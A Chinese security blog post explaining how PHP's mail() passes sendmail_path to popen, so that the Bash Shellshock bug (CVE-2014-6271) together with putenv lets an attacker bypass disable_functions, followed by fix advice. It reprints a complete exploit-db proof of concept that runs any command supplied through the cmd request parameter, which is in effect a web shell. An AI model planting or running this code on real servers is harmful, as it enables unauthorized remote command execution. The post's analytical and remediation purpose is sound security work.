PHP Execute Command Bypass Disable_functions

没穿底裤 2020年1月1日04:23:47评论327 views字数 1472阅读4分54秒阅读模式
摘要

分析过程是我的男神phith0n 写的。先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c
236行:
[php]
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;
[/php]
从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:
[php]
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =
[/php]

分析过程是我的男神phith0n 写的。

先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c
236行:
[php]
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;
[/php]
从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:
[php]
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =
[/php]

注释中可以看到,send_mail默认值为"sendmail -t -i".

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下:
[php]
if (!sendmail_path) {
#if (defined PHP_WIN32 || defined NETWARE)
/* handle old style win smtp sending */
if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {
if (tsm_errmsg) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);
efree(tsm_errmsg);
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));
}
MAIL_RET(0);
}
MAIL_RET(1);
#else
MAIL_RET(0);
#endif
}
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
sendmail_cmd = sendmail_path;
}
[/php]

之后执行:
[php]
#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
#else
/* Since popen() doesn't indicate if the internal fork() doesn't work
* (e.g. the shell can't be executed) we explicitly set it to 0 to be
* sure we don't catch any older errno value. */
errno = 0;
sendmail = popen(sendmail_cmd, "w");
#endif
[/php]

将sendmail_cmd丢给popen执行。
如果系统默认sh是bash,popen就会丢给bash执行。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。

影响版本:php 各版本

修复方法:修复CVE-2014-6271

给出POC(http://www.exploit-db.com/exploits/35146/)如下:
[php]
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
[/php]
PHP Execute Command Bypass Disable_functions

PS:啰嗦几句,这个是绕过disable_functions是两个的结合体。如果没有putenv函数可以修改变量,然后以及bash破壳(CVE-2014-6271)任意命令执行漏洞。任意修复了一个都是不行的。比如禁止了putenv函数,或者是Mail函数(这个不是很显示)。修复CVE-2014-6271就从根本上解决了问题。当然,个人感觉最直接的修复的办法就是禁用putenv以及打上内核补丁。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日04:23:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP Execute Command Bypass Disable_functionshttps://cn-sec.com/archives/75916.html

发表评论

匿名网友 填写信息